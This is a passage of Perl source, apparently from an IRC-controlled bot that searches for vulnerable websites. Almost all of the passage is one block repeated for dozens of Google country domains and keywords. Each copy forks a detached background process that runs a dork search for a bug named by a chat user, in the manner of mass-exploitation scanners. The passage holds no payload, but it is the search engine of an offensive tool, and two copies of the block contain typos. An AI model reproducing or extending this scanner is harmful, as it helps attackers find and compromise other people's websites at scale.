exit; } else { &type($chan,$bug,$dork,"GooGLeLV",$type,$nick,$id); } exit; } } if ($engine =~ /googleLT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeLT",$type,$nick,$id); } exit; } } if ($engine =~ /googleLY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeLY",$type,$nick,$id); } exit; } } if ($engine =~ /googleMK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMK",$type,$nick,$id); } exit; } } if ($engine =~ /googleMT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMT",$type,$nick,$id); } exit; } } if ($engine =~ /googleMZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMZ",$type,$nick,$id); } exit; } } if ($engine =~ /googleNA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNA",$type,$nick,$id); } exit; } } if ($engine =~ /googleNR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNR",$type,$nick,$id); } exit; } } if ($engine =~ /googleNP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNP",$type,$nick,$id); } exit; } } if ($engine =~ /googleNG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNG",$type,$nick,$id); } exit; } } if ($engine =~ /googlePY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePY",$type,$nick,$id); } exit; } } if ($engine =~ /googlePE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePE",$type,$nick,$id); } exit; } } if ($engine =~ /googlePR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePR",$type,$nick,$id); } exit; } } if ($engine =~ /googleQA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeQA",$type,$nick,$id); } exit; } } if ($engine =~ /googleSA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSA",$type,$nick,$id); } exit; } } if ($engine =~ /googleSN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSN",$type,$nick,$id); } exit; } } if ($engine =~ /googleSK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSK",$type,$nick,$id); } exit; } } if ($engine =~ /googleLK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeLK",$type,$nick,$id); } exit; } } if ($engine =~ /googleTJ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTJ",$type,$nick,$id); } exit; } } if ($engine =~ /googleTZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTZ",$type,$nick,$id); } exit; } } if ($engine =~ /googleTK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTK",$type,$nick,$id); } exit; } } if ($engine =~ /googleTO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTO",$type,$nick,$id); } exit; } } if ($engine =~ /googleTN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTN",$type,$nick,$id); } exit; } } if ($engine =~ /googleUY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUY",$type,$nick,$id); } exit; } } if ($engine =~ /googleUZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUZ",$type,$nick,$id); } exit; } } if ($engine =~ /googleVE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeVE",$type,$nick,$id); } exit; } } if ($engine =~ /googleZM/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeZM",$type,$nick,$id); } exit; } } if ($engine =~ /googleUG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUG",$type,$nick,$id); } exit; } } if ($engine =~ /googleTT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTT",$type,$nick,$id); } exit; } } if ($engine =~ /googleZW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeZW",$type,$nick,$id); } exit; } } if ($engine =~ /googleMM/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMM",$type,$nick,$id); } exit; } } if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCA",$type,$nick,$id); } exit; } } if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDE",$type,$nick,$id); } exit; } } if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUK",$type,$nick,$id); } exit; } } if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeFR",$type,$nick,$id); } exit; } } if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeES",$type,$nick,$id); } exit; } } if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIT",$type,$nick,$id); } exit; } } if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNL",$type,$nick,$id); } exit; } } if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBE",$type,$nick,$id); } exit; } } if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCH",$type,$nick,$id); } exit; } } if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSE",$type,$nick,$id); } exit; } } if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDK",$type,$nick,$id); } exit; } } if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNO",$type,$nick,$id); } exit; } } if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNZ",$type,$nick,$id); } exit; } } if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIE",$type,$nick,$id); } exit; } } if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBR",$type,$nick,$id); } exit; } } if ($engine =~ /googleORG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeORG",$type,$nick,$id); } exit; } } if ($engine =~ /googleASIA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeASIA",$type,$nick,$id); } exit; } } if ($engine =~ /googleGOV/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGOV",$type,$nick,$id); } exit; } } if ($engine =~ /googleNET/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNET",$type,$nick,$id); } exit; } } if ($engine =~ /googleXXX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeXXX",$type,$nick,$id); } exit; } } if ($engine =~ /googleWS/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeWS",$type,$nick,$id); } exit; } } #if ($engine =~ /dorklist/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dorklist",$type,$nick,$id); } exit; } } if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAR",$type,$nick,$id); } exit; } } if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCO",$type,$nick,$id); } exit; } } if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCU",$type,$nick,$id); } exit; } } if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCL",$type,$nick,$id); } exit; } } if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMX",$type,$nick,$id); } exit; } } if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAU",$type,$nick,$id); } exit; } } if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRU",$type,$nick,$id); } exit; } } if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAT",$type,$nick,$id); } exit; } } if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePL",$type,$nick,$id); } exit; } } if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIL",$type,$nick,$id); } exit; } } if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTR",$type,$nick,$id); } exit; } } if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUA",$type,$nick,$id); } exit; } } if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGR",$type,$nick,$id); } exit; } } if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeJP",$type,$nick,$id); } exit; } } if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCN",$type,$nick,$id); } exit; } } if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMY",$type,$nick,$id); } exit; } } if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTH",$type,$nick,$id); } exit; } } if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIN",$type,$nick,$id); } exit; } } if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKR",$type,$nick,$id); } exit; } } if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRO",$type,$nick,$id); } exit; } } if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTW",$type,$nick,$id); } exit; } } if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeZA",$type,$nick,$id); } exit; } } if ($engine =~ /googlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePT",$type,$nick,$id); } exit; } } if ($engine =~ /uae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UAE",$type,$nick,$id); } exit; } } if ($engine =~ /myanmar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,dork,"Myanmar",$type,$nick,$id); } exit; } } if ($engine =~ /argentina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Argentina",$type,$nick,$id); } exit; } } if ($engine =~ /austria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Austria",$type,$nick,$id); } exit; } } if ($engine =~ /australia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Australia",$type,$nick,$id); } exit; } } if ($engine =~ /brazil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Brazil",$type,$nick,$id); } exit; } } if ($engine =~ /canada/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Canada",$type,$nick,$id); } exit; } } if ($engine =~ /chili/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Chili",$type,$nick,$id); } exit; } } if ($engine =~ /cina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cina",$type,$nick,$id); } exit; } } if ($engine =~ /comersil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CoMersil",$type,$nick,$id); } exit; } } if ($engine =~ /czech/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Czech",$type,$nick,$id); } exit; } } if ($engine =~ /germany/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Germany",$type,$nick,$id); } exit; } } if ($engine =~ /denmark/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Denmark",$type,$nick,$id); } exit; } } if ($engine =~ /spain/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Spain",$type,$nick,$id); } exit; } } if ($engine =~ /europe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Europe",$type,$nick,$id); } exit; } } if ($engine =~ /france/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"France",$type,$nick,$id); } exit; } } if ($engine =~ /hungary/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Hungary",$type,$nick,$id); } exit; } } if ($engine =~ /indonesia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Indonesia",$type,$nick,$id); } exit; } } if ($engine =~ /israel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Israel",$type,$nick,$id); } exit; } } if ($engine =~ /india/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"India",$type,$nick,$id); } exit; } } if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Info",$type,$nick,$id); } exit; } } if ($engine =~ /iran/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Iran",$type,$nick,$id); } exit; } } if ($engine =~ /italy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Italy",$type,$nick,$id); } exit; } } if ($engine =~ /japan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Japan",$type,$nick,$id); } exit; } } if ($engine =~ /korea/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Korea",$type,$nick,$id); } exit; } } if ($engine =~ /mexico/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Mexico",$type,$nick,$id); } exit; } } if ($engine =~ /malaysia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Malaysia",$type,$nick,$id); } exit; } } if ($engine =~ /network/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Network",$type,$nick,$id); } exit; } } if ($engine =~ /netherlands/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Netherlands",$type,$nick,$id); } exit; } } if ($engine =~ /organization/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Organization",$type,$nick,$id); } exit; } } if ($engine =~ /philippines/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Philippines",$type,$nick,$id); } exit; } } if ($engine =~ /poland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Poland",$type,$nick,$id); } exit; } } if ($engine =~ /romania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Romania",$type,$nick,$id); } exit; } } if ($engine =~ /russian/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Russian",$type,$nick,$id); } exit; } } if ($engine =~ /thailand/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Thailand",$type,$nick,$id); } exit; } } if ($engine =~ /ukraine/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Ukraine",$type,$nick,$id); } exit; } } if ($engine =~ /england/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"England",$type,$nick,$id); } exit; } } if ($engine =~ /usa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"USA",$type,$nick,$id); } exit; } } if ($engine =~ /slovenia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Slovenia",$type,$nick,$id); } exit; } } if ($engine =~ /belgium/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Belgium",$type,$nick,$id); } exit; } } if ($engine =~ /bussines/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bussines",$type,$nick,$id); } exit; } } if ($engine =~ /southafrica/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SouthAfrica",$type,$nick,$id); } exit; } } if ($engine =~ /vietnam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Vietnam",$type,$nick,$id); } exit; } } if ($engine =~ /tuvalu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tuvalu",$type,$nick,$id); } exit; } } if ($engine =~ /cocos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cocos",$type,$nick,$id); } exit; } } if ($engine =~ /turky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Turky",$type,$nick,$id); } exit; } } if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Asia",$type,$nick,$id); } exit; } } if ($engine =~ /serbia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Serbia",$type,$nick,$id); } exit; } } if ($engine =~ /singapore/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Singapore",$type,$nick,$id); } exit; } } if ($engine =~ /taiwan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Taiwan",$type,$nick,$id); } exit; } } if ($engine =~ /sweden/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Sweden",$type,$nick,$id); } exit; } } if ($engine =~ /pakistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Pakistan",$type,$nick,$id); } exit; } } if ($engine =~ /norway/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Norway",$type,$nick,$id); } exit; } } if ($engine =~ /montenegro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Montenegro",$type,$nick,$id); } exit; } } if ($engine =~ /greece/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Greece",$type,$nick,$id); } exit; } } if ($engine =~ /education/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Education",$type,$nick,$id); } exit; } } if ($engine =~ /goverment/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Goverment",$type,$nick,$id); } exit; } } if ($engine =~ /kazakhstan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Kazakhstan",$type,$nick,$id); } exit; } } if ($engine =~ /afganistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,dork,"Afganistan",$type,$nick,$id); } exit; } } if ($engine =~ /albania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Albania",$type,$nick,$id); } exit; } } if ($engine =~ /algeria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Algeria",$type,$nick,$id); } exit; } } if ($engine =~ /angola/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Angola",$type,$nick,$id); } exit; } } if ($engine =~ /armenia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Armenia",$type,$nick,$id); } exit; } } if ($engine =~ /azerbaijan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Azerbaijan",$type,$nick,$id); } exit; } } if ($engine =~ /bahrain/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bahrain",$type,$nick,$id); } exit; } } if ($engine =~ /bangladesh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bangladesh",$type,$nick,$id); } exit; } } if ($engine =~ /belarus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Belarus",$type,$nick,$id); } exit; } } if ($engine =~ /bhutan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bhutan",$type,$nick,$id); } exit; } } if ($engine =~ /bolivia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bolivia",$type,$nick,$id); } exit; } } if ($engine =~ /bosnia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bosnia",$type,$nick,$id); } exit; } } if ($engine =~ /bulgaria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bulgaria",$type,$nick,$id); } exit; } } if ($engine =~ /brunei/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Brunei",$type,$nick,$id); } exit; } } if ($engine =~ /cambodia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cambodia",$type,$nick,$id); } exit; } } if ($engine =~ /cameroon/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cameroon",$type,$nick,$id); } exit; } } if ($engine =~ /christmas/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Christmas",$type,$nick,$id); } exit; } } if ($engine =~ /costarika/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CostaRika",$type,$nick,$id); } exit; } } if ($engine =~ /croatia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Croatia",$type,$nick,$id); } exit; } } if ($engine =~ /cuba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cuba",$type,$nick,$id); } exit; } } if ($engine =~ /cyprus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cyprus",$type,$nick,$id); } exit; } } if ($engine =~ /dominican/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Dominican",$type,$nick,$id); } exit; } } if ($engine =~ /equador/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Equador",$type,$nick,$id); } exit; } } if ($engine =~ /egypt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Egypt",$type,$nick,$id); } exit; } } if ($engine =~ /estonia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Estonia",$type,$nick,$id); } exit; } } if ($engine =~ /finland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Finland",$type,$nick,$id); } exit; } } if ($engine =~ /georgia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Georgia",$type,$nick,$id); } exit; } } if ($engine =~ /ghana/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Ghana",$type,$nick,$id); } exit; } } if ($engine =~ /grenada/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Grenada",$type,$nick,$id); } exit; } } if ($engine =~ /honduras/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Honduras",$type,$nick,$id); } exit; } } if ($engine =~ /hongkong/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Hongkong",$type,$nick,$id); } exit; } } if ($engine =~ /iceland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { 